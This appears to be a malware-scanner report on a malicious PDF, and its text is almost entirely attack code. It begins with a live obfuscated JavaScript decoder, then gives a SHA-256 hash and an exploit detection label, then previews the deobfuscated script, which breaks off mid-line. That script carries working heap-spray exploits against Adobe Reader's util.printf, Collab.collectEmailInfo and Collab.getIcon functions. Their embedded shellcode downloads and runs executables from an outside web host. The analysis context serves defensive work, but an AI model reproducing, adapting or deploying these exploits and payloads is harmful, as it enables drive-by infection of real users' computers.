,96,98,152,151,155,165,114,64,65,60,64,153,166,165,87,91,173,148,169,83,154,162,172,161,171,83,116,83,103,110,87,150,166,168,165,167,87,111,87,150,166,168,165,167,105,110,87,150,166,168,165,167,98,94,96,174,68,61,64,60,64,160,156,160,150,148,169,165,152,172,146,150,166,168,165,167,148,83,116,83,176,148,169,166,167,83,98,83,170,155,156,159,163,150,166,151,156,110,68,61,64,60,180,64,65,60,64,169,152,165,87,162,173,152,169,153,163,162,174,83,116,83,172,161,156,166,154,148,167,152,95,85,92,168,103,150,103,150,92,168,103,150,103,150,89,92,114,64,65,60,64,170,159,156,163,152,87,91,166,169,156,165,157,159,166,170,101,159,156,161,158,167,159,83,115,83,107,103,112,104,105,92,178,64,65,60,64,60,166,169,156,165,157,159,166,170,87,94,116,83,166,169,156,165,157,159,166,170,114,64,65,60,64,176,68,61,64,60,171,155,160,166,101,150,166,159,163,148,153,134,171,162,169,152,87,112,87,118,166,159,163,148,153,97,154,162,163,159,156,150,171,120,164,148,160,159,128,161,157,162,95,174,170,168,153,157,113,83,89,85,99,160,170,154,113,83,166,169,156,165,157,159,166,170,180,92,114,64,65,60,180,64,65,64,65,60,157,168,165,150,171,156,166,161,87,150,166,159,163,148,153,146,158,152,171,156,154,162,165,91,96,174,68,61,64,60,160,153,87,91,152,163,167,97,155,162,154,97,122,162,163,159,152,149,101,154,156,167,128,150,166,161,96,174,68,61,64,60,64,169,152,165,87,148,169,165,176,83,116,83,165,152,174,83,120,165,169,148,176,91,96,110,68,61,64,60,64,169,152,165,87,169,173,163,156,167,159,172,152,83,116,83,172,161,156,166,154,148,167,152,95,85,92,168,124,117,124,108,92,168,103,99,103,100,92,168,108,105,103,99,92,168,120,100,109,103,92,168,103,99,106,99,92,168,103,99,103,99,92,168,107,99,111,117,92,168,111,117,103,118,92,168,104,118,110,99,92,168,111,117,120,119,92,168,103,107,107,99,92,168,122,102,108,120,92,168,111,117,108,104,92,168,111,117,124,118,92,168,103,107,107,104,92,168,106,102,108,101,92,168,122,100,123,101,92,168,103,102,122,101,92,168,104,99,106,101,92,168,111,99,107,99,92,168,103,99,106,107,92,168,125,104,110,104,92,168,122,101,111,117,92,168,108,119,108,116,92,168,103,103,122,101,92,168,108,104,103,99,92,168,124,118,111,117,92,168,108,100,108,100,92,168,108,105,108,102,92,168,109,99,108,106,92,168,108,119,111,117,92,168,106,102,103,107,92,168,111,117,122,99,92,168,103,118,110,104,92,168,125,120,111,117,92,168,110,105,103,102,92,168,111,117,106,118,92,168,110,107,107,120,92,168,122,121,103,102,92,168,108,100,111,117,92,168,108,101,104,118,92,168,108,100,111,117,92,168,108,101,105,103,92,168,110,100,111,117,92,168,107,120,104,103,92,168,110,104,111,108,92,168,111,117,125,118,92,168,105,99,110,100,92,168,125,106,103,102,92,168,107,116,112,108,92,168,107,101,120,119,92,168,106,117,109,99,92,168,125,118,108,104,92,168,103,103,110,104,92,168,122,99,106,102,92,168,106,106,124,117,92,168,125,121,106,102,92,168,107,104,103,102,92,168,112,106,103,118,92,168,122,121,111,117,92,168,110,104,120,120,92,168,105,117,125,119,92,168,107,121,125,108,92,168,124,107,108,100,92,168,125,121,112,103,92,168,125,121,125,121,92,168,122,102,106,117,92,168,110,103,109,100,92,168,124,117,103,101,92,168,111,117,123,108,92,168,103,118,107,104,92,168,108,120,112,101,92,168,125,101,103,102,92,168,124,99,123,100,92,168,122,105,103,102,92,168,122,108,106,102,92,168,121,106,103,121,92,168,108,121,103,107,92,168,124,100,122,100,92,168,103,102,103,101,92,168,103,102,122,116,92,168,111,117,122,121,92,168,103,102,103,100,92,168,111,108,122,101,92,168,125,107,107,104,92,168,111,117,109,100,92,168,125,107,107,104,92,168,108,120,108,121,92,168,122,108,108,117,92,168,108,104,122,102,92,168,124,118,111,117,92,168,124,107,108,100,92,168,125,121,107,108,92,168,125,121,125,121,92,168,109,107,108,99,92,168,109,99,124,107,92,168,103,103,121,121,92,168,109,118,124,107,92,168,125,121,125,121,92,168,106,102,125,121,92,168,108,101,123,101,92,168,125,121,108,101,92,168,103,107,110,104,92,168,123,99,125,121,92,168,107,104,111,108,92,168,111,117,125,118,92,168,125,118,107,104,92,168,122,102,122,108,92,168,111,117,108,104,92,168,111,102,124,118,92,168,103,118,124,118,92,168,107,104,111,119,92,168,108,99,125,103,92,168,107,104,122,105,92,168,110,104,125,103,92,168,107,104,122,105,92,168,110,101,125,104,92,168,107,104,122,105,92,168,109,118,125,105,92,168,107,104,122,105,92,168,109,119,125,106,92,168,107,104,122,105,92,168,109,121,125,107,92,168,107,104,122,105,92,168,109,120,125,108,92,168,107,104,122,105,92,168,105,120,125,116,92,168,107,104,122,105,92,168,109,103,125,117,92,168,107,104,122,105,92,168,109,118,125,118,92,168,107,104,122,105,92,168,109,118,125,119,92,168,107,104,122,105,92,168,103,99,125,120,92,168,120,99,124,107,92,168,125,121,125,121,92,168,108,99,125,121,92,168,108,119,109,107,92,168,104,100,111,116,92,168,124,107,104,105,92,168,125,121,104,104,92,168,125,121,125,121,92,168,122,103,111,102,92,168,111,104,103,118,92,168,110,103,122,99,92,168,109,116,104,104,92,168,109,116,103,99,92,168,125,121,103,99,92,168,103,118,110,104,92,168,110,104,125,121,92,168,109,116,103,107,92,168,125,121,103,99,92,168,111,104,123,99,92,168,110,104,122,99,92,168,107,99,103,102,92,168,122,102,122,108,92,168,122,99,106,102,92,168,122,102,122,108,92,168,106,102,108,106,92,168,111,117,122,99,92,168,105,103,107,118,92,168,111,117,103,118,92,168,105,103,110,118,92,168,125,118,103,107,92,168,120,116,125,102,92,168,122,102,108,121,92,168,107,118,111,117,92,168,103,103,105,103,92,168,106,108,111,99,92,168,111,117,103,99,92,168,110,103,122,100,92,168,107,99,103,105,92,168,106,107,111,99,92,168,110,104,103,99,92,168,105,117,125,116,92,168,122,102,122,100,92,168,111,117,108,104,92,168,111,102,124,118,92,168,109,103,124,118,92,168,111,119,108,102,92,168,125,99,107,104,92,168,106,102,108,106,92,168,108,99,123,117,92,168,107,104,122,105,92,168,109,117,125,99,92,168,107,104,122,105,92,168,109,104,125,100,92,168,107,104,122,105,92,168,110,101,125,101,92,168,107,104,122,105,92,168,109,120,125,102,92,168,107,104,122,105,92,168,109,104,125,103,92,168,107,104,122,105,92,168,109,118,125,104,92,168,107,104,122,105,92,168,106,102,125,105,92,168,107,104,122,105,92,168,106,101,125,106,92,168,107,104,122,105,92,168,105,120,125,107,92,168,107,104,122,105,92,168,109,103,125,108,92,168,107,104,122,105,92,168,109,118,125,116,92,168,107,104,122,105,92,168,109,118,125,117,92,168,108,119,111,107,92,168,124,107,125,118,92,168,125,121,103,117,92,168,125,121,125,121,92,168,109,107,108,99,92,168,107,102,109,107,92,168,111,120,125,108,92,168,111,99,124,107,92,168,125,121,125,120,92,168,111,117,125,121,92,168,111,119,125,107,92,168,112,118,107,104,92,168,107,103,109,116,92,168,124,107,108,99,92,168,125,121,110,120,92,168,125,121,125,121,92,168,107,104,111,119,92,168,109,116,124,99,92,168,108,99,104,99,92,168,110,102,124,107,92,168,125,121,125,121,92,168,111,102,125,121,92,168,104,118,122,103,92,168,107,104,111,119,92,168,108,99,124,99,92,168,107,104,111,119,92,168,108,99,112,118,92,168,108,102,108,102,92,168,108,102,108,102,92,168,108,102,108,102,92,168,110,104,125,121,92,168,122,106,103,107,92,168,112,118,107,104,92,168,103,99,107,103,92,168,103,99,103,99,92,168,125,121,108,102,92,168,108,121,123,106,92,168,121,105,103,121,92,168,108,117,122,99,92,168,122,102,122,108,92,168,111,117,108,104,92,168,108,100,124,118,92,168,108,102,108,100,92,168,108,106,108,105,92,168,107,101,109,116,92,168,110,101,124,107,92,168,103,99,103,99,92,168,111,117,103,99,92,168,106,102,123,107,92,168,111,104,125,105,92,168,108,108,123,117,92,168,107,104,122,106,92,168,109,100,125,107,92,168,109,104,105,120,92,168,122,106,110,107,92,168,125,118,107,104,92,168,103,99,109,104,92,168,103,99,103,99,92,168,108,105,110,120,92,168,107,104,111,119,92,168,108,99,125,107,92,168,124,107,108,105,92,168,103,99,108,100,92,168,103,99,103,99,92,168,108,99,108,108,92,168,121,100,124,107,92,168,125,121,125,120,92,168,111,104,125,121,92,168,108,108,122,99,92,168,110,103,108,108,92,168,111,119,106,108,92,168,103,100,107,105,92,168,124,107,108,99,92,168,103,99,106,117,92,168,103,99,103,99,92,168,125,107,111,117,92,168,107,104,111,119,92,168,108,99,125,107,92,168,105,100,124,107,92,168,125,121,125,121,92,168,111,104,125,121,92,168,108,108,122,99,92,168,110,103,108,108,92,168,108,106,103,118,92,168,103,100,124,107,92,168,125,121,125,121,92,168,108,108,125,121,92,168,107,103,122,105,92,168,125,121,106,107,92,168,108,99,110,102,92,168,107,104,111,119,92,168,125,120,125,107,92,168,108,107,103,99,92,168,107,104,111,119,92,168,108,99,125,107,92,168,124,107,108,106,92,168,125,120,110,103,92,168,125,121,125,121,92,168,108,108,108,108,92,168,107,105,107,105,92,168,125,102,106,117,92,168,120,116,110,118,92,168,108,120,108,121,92,168,122,108,108,117,92,168,108,104,122,102,92,168,124,118,111,117,92,168,108,102,108,100,92,168,109,99,109,105,92,168,106,101,121,100,92,168,103,99,124,107,92,168,103,99,103,99,92,168,108,107,103,99,92,168,103,107,106,107,92,168,103,102,110,103,92,168,124,117,107,99,92,168,107,99,125,108,92,168,108,119,111,117,92,168,111,99,103,107,92,168,107,101,125,117,92,168,103,107,110,104,92,168,123,117,106,102,92,168,104,107,111,116,92,168,122,102,111,117,92,168,104,106,124,117,92,168,104,107,106,107,92,168,104,100,110,105,92,168,106,102,107,99,92,168,111,103,122,108,92,168,110,103,123,117,92,168,107,99,103,118,92,168,103,107,106,107,92,168,125,117,110,104,92,168,125,120,107,99,92,168,124,117,122,117,92,168,106,102,125,101,92,168,111,108,122,99,92,168,125,118,107,104,92,168,107,104,111,117,92,168,108,117,125,118,92,168,122,102,122,108,92,168,103,101,106,101,92,168,110,103,109,107,92,168,110,99,110,103,92,168,105,121,106,116,92,168,110,102,105,121,92,168,110,108,110,103,92,168,109,104,109,118,92,168,109,101,105,119,92,168,109,100,109,121,92,168,109,103,110,101,92,168,105,120,110,102,92,168,109,121,109,102,92,168,105,121,109,119,92,168,109,121,109,105,92,168,110,104,110,101,92,168,105,121,109,119,92,168,109,102,109,100,92,168,109,121,109,104,92,168,106,101,110,116,92,168,109,104,105,120,92,168,109,104,110,107,92,168,109,107,103,99,92,168,110,103,110,103,92,168,106,116,110,99,92,168,105,121,105,121,92,168,110,103,110,102,92,168,109,118,110,108,92,168,105,119,109,104,92,168,109,121,109,101,92,168,110,101,109,100,92,168,110,102,109,103,92,168,109,102,105,120,92,168,109,119,109,121,92,168,109,105,105,121,92,168,110,101,109,121,92,168,109,119,110,104,92,168,109,102,105,121,92,168,109,108,109,118,92,168,109,117,109,102,92,168,110,99,105,120,92,168,110,99,109,107,92,168,110,101,106,121,92,168,103,99,106,119,89,92,114,64,65,60,64,60,173,148,169,83,159,138,168,104,103,99,122,129,87,112,87,169,173,163,156,167,159,172,152,97,163,152,165,154,171,155,87,93,87,101,114,64,65,60,64,60,173,148,169,83,163,152,165,83,116,83,103,171,107,99,103,99,103,99,87,96,87,91,159,138,168,104,103,99,122,129,87,94,87,99,175,102,111,92,114,64,65,60,64,60,173,148,169,83,176,148,169,166,167,83,116,83,172,161,156,166,154,148,167,152,95,85,92,168,112,99,112,99,92,168,112,99,112,99,89,92,114,64,65,60,64,60,176,148,169,166,167,83,116,83,157,156,175,146,160,167,95,172,152,165,170,163,99,83,163,152,165,92,114,64,65,60,64,60,173,148,169,83,167,104,120,157,130,105,108,153,87,112,87,91,103,171,103,150,103,150,103,150,103,150,87,96,87,99,175,103,103,99,103,99,103,92,87,98,87,99,175,103,103,99,103,99,103,110,68,61,64,60,64,153,166,165,87,91,173,148,169,83,173,164,154,132,123,108,109,172,87,112,87,99,114,83,173,164,154,132,123,108,109,172,87,111,87,163,108,116,161,126,109,104,157,110,87,169,168,150,136,119,112,105,176,83,98,94,87,92,178,64,65,60,64,60,64,148,169,165,176,142,173,164,154,132,123,108,109,172,148,83,116,83,176,148,169,166,167,83,98,83,173,169,167,152,171,155,176,148,114,64,65,60,64,60,180,64,65,60,64,60,173,148,169,83,171,136,132,155,133,149,126,170,87,112,87,168,165,152,170,150,152,163,156,91,89,88,103,108,89,92,114,64,65,60,64,60,174,155,160,159,156,83,95,167,140,128,159,129,153,122,174,97,163,152,165,154,171,155,87,111,87,99,175,103,103,99,103,92,178,64,65,60,64,60,64,167,140,128,159,129,153,122,174,83,98,112,87,167,140,128,159,129,153,122,174,110,68,61,64,60,64,176,68,61,64,60,64,167,140,128,159,129,153,122,174,83,116,83,89,129,101,85,87,94,87,167,140,128,159,129,153,122,174,110,68,61,64,60,64,148,167,163,101,151,166,150,101,118,166,159,163,148,153,97,158,152,171,124,154,162,165,91,171,136,132,155,133,149,126,170,96,110,68,61,64,60,180,64,65,60,180,64,65,64,65,60,157,168,165,150,171,156,166,161,87,163,155,153,150,166,171,148,169,167,95,92,178,64,65,64,65,60,64,169,152,165,87,169,156,165,170,156,166,161,87,112,87,148,167,163,101,169,160,152,174,152,169,137,156,165,170,156,166,161,101,167,166,134,171,165,160,161,158,91,96,110,68,61,64,60,173,152,169,166,160,162,165,83,116,83,173,152,169,166,160,162,165,97,169,152,167,159,152,150,156,91,102,143,123,98,158,95,94,90,96,110,68,61,64,60,173,148,169,83,173,148,169,166,160,162,165,146,152,165,169,148,176,83,116,83,165,152,174,83,120,165,169,148,176,91,173,152,169,166,160,162,165,97,154,155,152,165,120,167,95,99,96,95,87,169,156,165,170,156,166,161,101,150,159,148,169,116,171,91,104,92,99,83,173,152,169,166,160,162,165,97,154,155,152,165,120,167,95,101,96,92,114,64,65,60,64,156,157,83,95,91,173,148,169,166,160,162,165,146,152,165,169,148,176,142,103,144,87,112,116,83,111,92,87,89,93,83,95,169,152,165,170,156,166,161,150,148,169,165,152,172,146,100,148,83,116,112,87,99,96,83,179,175,87,91,173,148,169,166,160,162,165,146,152,165,169,148,176,142,104,144,87,112,116,83,104,83,93,89,87,169,152,165,170,156,166,161,150,148,169,165,152,172,146,101,148,83,115,83,106,92,96,174,68,61,64,60,64,168,171,156,163,146,167,165,160,161,171,153,95,92,114,64,65,60,64,176,68,61,64,60,160,153,87,91,95,169,152,165,170,156,166,161,150,148,169,165,152,172,146,99,148,83,115,83,111,92,87,175,179,83,95,169,152,165,170,156,166,161,150,148,169,165,152,172,146,99,148,83,116,112,87,107,87,89,93,83,173,148,169,166,160,162,165,146,152,165,169,148,176,142,104,144,87,111,87,101,87,89,93,83,173,148,169,166,160,162,165,146,152,165,169,148,176,142,105,144,87,111,87,101,96,92,178,64,65,60,64,60,154,162,163,159,152,149,150,152,164,148,160,159,95,92,114,64,65,60,64,176,68,61,64,60,160,153,87,91,95,169,152,165,170,156,166,161,150,148,169,165,152,172,146,99,148,83,115,83,112,92,87,175,179,83,95,169,152,165,170,156,166,161,150,148,169,165,152,172,146,99,148,83,116,112,87,108,87,89,93,83,173,148,169,166,160,162,165,146,152,165,169,148,176,142,104,144,87,111,87,100,96,92,178,64,65,60,64,60,154,162,163,159,152,149,150,154,156,167,160,150,166,161,95,92,114,64,65,60,64,176,68,61,64,176,68,61,68,61,64,163,155,153,150,166,171,148,169,167,95,92,114,64,65,60],dfoqsw=function(){for(var jmnqy;bkmz<afghpx.length;bkmz+=1){var hikmz=bkmz%acov.length+1;var hkrsv=acov.substring(bkmz%acov.length,hikmz);var ajnu=afghpx[bkmz];bfilmr+=cnqvy(ajnu-hkrsv.charCodeAt(0));} eklor(bfilmr);};dfoqsw();bmnvz='';dioqs="";enty="";chprx=false;achqv="achqv";ejmtu="";aqrs="";
`legacy_pdfkit_stage_000.js`	deobfuscated-js	numeric array subtract-key decoded JavaScript at offset 0x1A5	10012 bytes
SHA-256: `5ae1d561de905a1968e57c06b5dd7c106dbf052eef0e49113b20643e807274f0`
Detection ClamAV: Js.Exploit.Shellcode-18 Obfuscation or payload: likely Carved artifact contains 9 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script First 1,000 lines of the extracted script function fix_it(yarsp, len){ while (yarsp.length * 2 < len){ yarsp += yarsp; } yarsp = yarsp.substring(0, len/2); return yarsp; } function util_printf(){ var payload = unescape("%uEBE9%u0001%u5600%uA164%u0030%u0000%u408B%u8B0C%u1C70%u8BAD%u0840%uC35E%u8B55%u8BEC%u0845%u3352%uC1D2%u03C2%u1032%u8040%u0038%uF575%uC28B%u5D5A%u04C2%u5500%uEC8B%u5151%u5653%u6057%u5D8B%u3308%u8BC0%u0C75%uFE8B%u7603%u8B3C%u784E%uCF03%u518B%u521C%u518B%u5224%u718B%u4E14%u7589%u8BFC%u2071%uF703%u4A99%u42AD%u3B60%uFC55%u0475%uC033%u37EB%uFF33%u4503%u970C%uCF8B%u75AE%u2BFD%u4FF9%uE851%uFF94%uFFFF%uC33B%u7461%uEB02%u8BD9%u0C45%u5E92%uF203%uE0D1%uC603%uC933%uB70F%u5F08%uE1C1%u0302%u03CA%u8BCF%u0301%u89C2%uF845%u8B61%uF845%u5E5F%uC95B%u55C3%uEC8B%uE851%uFF49%uFFFF%u6850%u60E8%u04BF%u6CE8%uFFFF%u33FF%u52D2%uFF52%u0875%uD0FF%u4589%u8BFC%uFC45%uC3C9%u8B55%u83EC%u0CEC%u458D%u50F4%u45C6%u75F4%u45C6%u72F5%u45C6%u6CF6%u45C6%u6DF7%u45C6%u6FF8%u45C6%u6EF9%u45C6%u2EFA%u45C6%u64FB%u45C6%u6CFC%u45C6%u6CFD%u45C6%u00FE%uA0E8%uFFFF%u50FF%u5D68%u118A%uE816%uFF15%uFFFF%uC483%u850C%u74C0%u6A15%u6A00%uFF00%u0C75%u75FF%u6A08%uFF00%u85D0%u75C0%u4003%uC3C9%uC033%uC3C9%u3357%u8BC0%u244C%u8B0C%u247C%uFC08%uAAF3%uC35F%u4C8B%u0424%u3980%u8B00%u74C1%u4006%u3880%u7500%u2BFA%uC3C1%u8B55%u83EC%u64EC%u8D53%uF045%u3357%u50DB%u45C6%u6BF0%u45C6%u65F1%u45C6%u72F2%u45C6%u6EF3%u45C6%u65F4%u45C6%u6CF5%u45C6%u33F6%u45C6%u32F7%u45C6%u2EF8%u45C6%u64F9%u45C6%u6CFA%u45C6%u6CFB%u5D88%uE8FC%uFF0B%uFFFF%u6850%u4368%u8EF9%u80E8%uFFFE%u8BFF%u8DF8%u9C45%u446A%uE850%uFF7E%uFFFF%u458D%u6AE0%u5010%u73E8%uFFFF%u83FF%u1CC4%u458D%u50E0%u458D%u509C%u5353%u5353%u5353%u75FF%uC708%u9C45%u0044%u0000%uFF53%u5FD7%uB60F%u5BC0%uC3C9%u8B55%u51EC%u5351%u5756%u426A%u72E8%u0000%u8B00%u33D8%u85F6%u59DB%u45C7%u61F8%u652E%uC778%uFC45%u0065%u0000%u567E%u458D%u50F8%uE856%u0051%u0000%u5059%uB1E8%uFFFE%u85FF%u59C0%u7459%u8D39%u0146%uE850%u003B%u0000%uF88B%u458D%u50F8%u21E8%uFFFF%u85FF%u59C0%u7459%u570C%u01E8%uFFFF%u59FF%u44C6%uFF38%u5073%u458D%uFEF8%u5800%u458D%u50F8%uE857%uFE74%uFFFF%u5959%u4646%uF33B%uAA7C%u5E5F%uC95B%u55C3%uEC8B%u5351%u6066%u32B1%u00E8%u0000%u5800%u0838%u0374%uEB40%u40F9%u5D8B%u8008%u42FB%u0875%uDB33%u188A%uC38B%u17EB%u1838%u1176%u3340%u84C9%u74DB%u400C%u0838%uFB75%uFE40%uEBCB%u33F2%u89C0%uFC45%u458B%u5BFC%uC3C9%u0232%u7468%u7074%u2F3A%u732F%u7974%u656C%u622D%u616F%u6472%u2E73%u6F63%u2F6D%u6F66%u7572%u2F6D%u6362%u7471%u327A%u652E%u6578%u6800%u7474%u3A70%u2F2F%u7473%u6C79%u2D65%u6F62%u7261%u7364%u632E%u6D6F%u662F%u726F%u6D75%u632F%u696C%u6B63%u702E%u7068%u723F%u003D"); var nop = unescape("%u0A0A%u0A0A%u0A0A%u0A0A") var heapblock = nop + payload; var bigblock = unescape("%u0A0A%u0A0A"); var headersize = 20; var spray = headersize + heapblock.length; while (bigblock.length < spray){ bigblock += bigblock; } var fillblock = bigblock.substring(0, spray); var block = bigblock.substring(0, bigblock.length-spray); while (block.length+spray < 0x40000){ block = block + block + fillblock; } var mem_array = new Array(); for (var i = 0; i < 1400; i++){ mem_array[i] = block + heapblock; } var num = 12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888; util.printf("%45000f", num); } function collab_email(){ var shellcode = unescape("%uEBE9%u0001%u5600%uA164%u0030%u0000%u408B%u8B0C%u1C70%u8BAD%u0840%uC35E%u8B55%u8BEC%u0845%u3352%uC1D2%u03C2%u1032%u8040%u0038%uF575%uC28B%u5D5A%u04C2%u5500%uEC8B%u5151%u5653%u6057%u5D8B%u3308%u8BC0%u0C75%uFE8B%u7603%u8B3C%u784E%uCF03%u518B%u521C%u518B%u5224%u718B%u4E14%u7589%u8BFC%u2071%uF703%u4A99%u42AD%u3B60%uFC55%u0475%uC033%u37EB%uFF33%u4503%u970C%uCF8B%u75AE%u2BFD%u4FF9%uE851%uFF94%uFFFF%uC33B%u7461%uEB02%u8BD9%u0C45%u5E92%uF203%uE0D1%uC603%uC933%uB70F%u5F08%uE1C1%u0302%u03CA%u8BCF%u0301%u89C2%uF845%u8B61%uF845%u5E5F%uC95B%u55C3%uEC8B%uE851%uFF49%uFFFF%u6850%u60E8%u04BF%u6CE8%uFFFF%u33FF%u52D2%uFF52%u0875%uD0FF%u4589%u8BFC%uFC45%uC3C9%u8B55%u83EC%u0CEC%u458D%u50F4%u45C6%u75F4%u45C6%u72F5%u45C6%u6CF6%u45C6%u6DF7%u45C6%u6FF8%u45C6%u6EF9%u45C6%u2EFA%u45C6%u64FB%u45C6%u6CFC%u45C6%u6CFD%u45C6%u00FE%uA0E8%uFFFF%u50FF%u5D68%u118A%uE816%uFF15%uFFFF%uC483%u850C%u74C0%u6A15%u6A00%uFF00%u0C75%u75FF%u6A08%uFF00%u85D0%u75C0%u4003%uC3C9%uC033%uC3C9%u3357%u8BC0%u244C%u8B0C%u247C%uFC08%uAAF3%uC35F%u4C8B%u0424%u3980%u8B00%u74C1%u4006%u3880%u7500%u2BFA%uC3C1%u8B55%u83EC%u64EC%u8D53%uF045%u3357%u50DB%u45C6%u6BF0%u45C6%u65F1%u45C6%u72F2%u45C6%u6EF3%u45C6%u65F4%u45C6%u6CF5%u45C6%u33F6%u45C6%u32F7%u45C6%u2EF8%u45C6%u64F9%u45C6%u6CFA%u45C6%u6CFB%u5D88%uE8FC%uFF0B%uFFFF%u6850%u4368%u8EF9%u80E8%uFFFE%u8BFF%u8DF8%u9C45%u446A%uE850%uFF7E%uFFFF%u458D%u6AE0%u5010%u73E8%uFFFF%u83FF%u1CC4%u458D%u50E0%u458D%u509C%u5353%u5353%u5353%u75FF%uC708%u9C45%u0044%u0000%uFF53%u5FD7%uB60F%u5BC0%uC3C9%u8B55%u51EC%u5351%u5756%u426A%u72E8%u0000%u8B00%u33D8%u85F6%u59DB%u45C7%u61F8%u652E%uC778%uFC45%u0065%u0000%u567E%u458D%u50F8%uE856%u0051%u0000%u5059%uB1E8%uFFFE%u85FF%u59C0%u7459%u8D39%u0146%uE850%u003B%u0000%uF88B%u458D%u50F8%u21E8%uFFFF%u85FF%u59C0%u7459%u570C%u01E8%uFFFF%u59FF%u44C6%uFF38%u5073%u458D%uFEF8%u5800%u458D%u50F8%uE857%uFE74%uFFFF%u5959%u4646%uF33B%uAA7C%u5E5F%uC95B%u55C3%uEC8B%u5351%u6066%u32B1%u00E8%u0000%u5800%u0838%u0374%uEB40%u40F9%u5D8B%u8008%u42FB%u0875%uDB33%u188A%uC38B%u17EB%u1838%u1176%u3340%u84C9%u74DB%u400C%u0838%uFB75%uFE40%uEBCB%u33F2%u89C0%uFC45%u458B%u5BFC%uC3C9%u0232%u7468%u7074%u2F3A%u732F%u7974%u656C%u622D%u616F%u6472%u2E73%u6F63%u2F6D%u6F66%u7572%u2F6D%u6967%u706D%u3275%u652E%u6578%u6800%u7474%u3A70%u2F2F%u7473%u6C79%u2D65%u6F62%u7261%u7364%u632E%u6D6F%u662F%u726F%u6D75%u632F%u696C%u6B63%u702E%u7068%u723F%u003D"); var mem_array = new Array(); var cc = 0x0c0c0c0c; var addr = 0x400000; var sc_len = shellcode.length * 2; var len = addr - (sc_len+0x38); var yarsp = unescape("%u9090%u9090"); yarsp = fix_it(yarsp, len); var count2 = (cc - 0x400000)/addr; for (var count = 0; count < count2; count++){ mem_array[count] = yarsp + shellcode; } var overflow = unescape("%u0c0c%u0c0c"); while (overflow.length < 44952){ overflow += overflow; } this.collabStore = Collab.collectEmailInfo({subj: "",msg: overflow}); } function collab_geticon(){ if (app.doc.Collab.getIcon){ var arry = new Array(); var vvpethya = unescape("%uEBE9%u0001%u5600%uA164%u0030%u0000%u408B%u8B0C%u1C70%u8BAD%u0840%uC35E%u8B55%u8BEC%u0845%u3352%uC1D2%u03C2%u1032%u8040%u0038%uF575%uC28B%u5D5A%u04C2%u5500%uEC8B%u5151%u5653%u6057%u5D8B%u3308%u8BC0%u0C75%uFE8B%u7603%u8B3C%u784E%uCF03%u518B%u521C%u518B%u5224%u718B%u4E14%u7589%u8BFC%u2071%uF703%u4A99%u42AD%u3B60%uFC55%u0475%uC033%u37EB%uFF33%u4503%u970C%uCF8B%u75AE%u2BFD%u4FF9%uE851%uFF94%uFFFF%uC33B%u7461%uEB02%u8BD9%u0C45%u5E92%uF203%uE0D1%uC603%uC933%uB70F%u5F08%uE1C1%u0302%u03CA%u8BCF%u0301%u89C2%uF845%u8B61%uF845%u5E5F%uC95B%u55C3%uEC8B%uE851%uFF49%uFFFF%u6850%u60E8%u04BF%u6CE8%uFFFF%u33FF%u52D2%uFF52%u0875%uD0FF%u4589%u8BFC%uFC45%uC3C9%u8B55%u83EC%u0CEC%u458D%u50F4%u45C6%u75F4%u45C6%u72F5%u45C6%u6CF6%u45C6%u6DF7%u45C6%u6FF8%u45C6%u6EF9%u45C6%u2EFA%u45C6%u64FB%u45C6%u6CFC%u45C6%u6CFD%u45C6%u00FE%uA0E8%uFFFF%u50FF%u5D68%u118A%uE816%uFF15%uFFFF%uC483%u850C%u74C0%u6A15%u6A00%uFF00%u0C75%u75FF%u6A08%uFF00%u85D0%u75C0%u4003%uC3C9%uC033%uC3C9%u3357%u8BC0%u244C%u8B0C%u247C%uFC08%uAAF3%uC35F%u4C8B%u0424%u3980%u8B00%u74C1%u4006%u3880%u7500%u2BFA%uC3C1%u8B55%u83EC%u64EC%u8D53%uF045%u3357%u50DB%u45C6%u6BF0%u45C6%u65F1%u45C6%u72F2%u45C6%u6EF3%u45C6%u65F4%u45C6%u6CF5%u45C6%u33F6%u45C6%u32F7%u45C6%u2EF8%u45C6%u64F9%u45C6%u6CFA%u45C6%u6CFB%u5D88%uE8FC%uFF0B%uFFFF%u6850%u4368%u8EF9%u80E8%uFFFE%u8BFF%u8DF8%u9C45%u446A%uE850%uFF7E%uFFFF%u458D%u6AE0%u5010%u73E8%uFFFF%u83FF%u1CC4%u458D%u50E0%u458D%u509C%u5353%u5353%u5353%u75FF%uC708%u9C45%u0044%u0000%uFF53%u5FD7%uB60F%u5BC0%uC3C9%u8B55%u51EC%u5351%u5756%u426A%u72E8%u0000%u8B00%u33D8%u85F6%u59DB%u45C7%u61F8%u652E%uC778%uFC45%u0065%u0000%u567E%u458D%u50F8%uE856%u0051%u0000%u5059%uB1E8%uFFFE%u85FF%u59C0%u7459%u8D39%u0146%uE850%u003B%u0000%uF88B%u458D%u50F8%u21E8%uFFFF%u85FF%u59C0%u7459%u570C%u01E8%uFFFF%u59FF%u44C6%uFF38%u5073%u458D%uFEF8%u5800%u458D%u50F8%uE857%uFE74%uFFFF%u5959%u4646%uF33B%uAA7C%u5E5F%uC95B%u55C3%uEC8B%u5351%u6066%u32B1%u00E8%u0000%u5800%u0838%u0374%uEB40%u40F9%u5D8B%u8008%u42FB%u0875%uDB33%u188A%uC38B%u17EB%u1838%u1176%u3340%u84C9%u74DB%u400C%u0838%uFB75%uFE40%uEBCB%u33F2%u89C0%uFC45%u458B%u5BFC%uC3C9%u0232%u7468%u7074%u2F3A%u732F%u7974%u656C%u622D%u616F%u6472%u2E73%u6F63%u2F6D%u6F66%u7572%u2F6D%u6361%u6F65%u327A%u652E%u6578%u6800%u7474%u3A70%u2F2F%u7473%u6C79%u2D65%u6F62%u7261%u7364%u632E%u6D6F%u662F%u726F%u6D75%u632F%u696C%u6B63%u702E%u7068%u723F%u003D"); var hWq500CN = vvpethya.length * 2; var len = 0x400000 - (hWq500CN + 0x38); var yarsp = unescape("%u9090%u9090"); yarsp = fix_it(yarsp, len); var p5AjK65f = (0x0c0c0c0c - 0x400000) / 0x400000; for (var vqcQD96y = 0; vqcQD96y < p5AjK65f; vqcQD96y ++ ){ arry[vqcQD96y] = yarsp + vvpethya; } var tUMhNbGw = unescape("%09"); while (tUMhNbGw.length < 0x4000){ tUMhNbGw += tUMhNbGw; } tUMhNbGw = "N." + tUMhNbGw; app.doc.Collab.getIcon(tUMhNbGw); } } function pdf_start(){ var version = app.viewerVersion.toString(); version = version.replace(/\D/g,''); var varsion_array = new Array(version.charAt(0), version.charAt(1), version.charAt(2)); if ((varsion_array[0] == 8) && (varsion_array[1] == 0) \|\| (varsion_array[1] == 1 && varsion_array[2] < 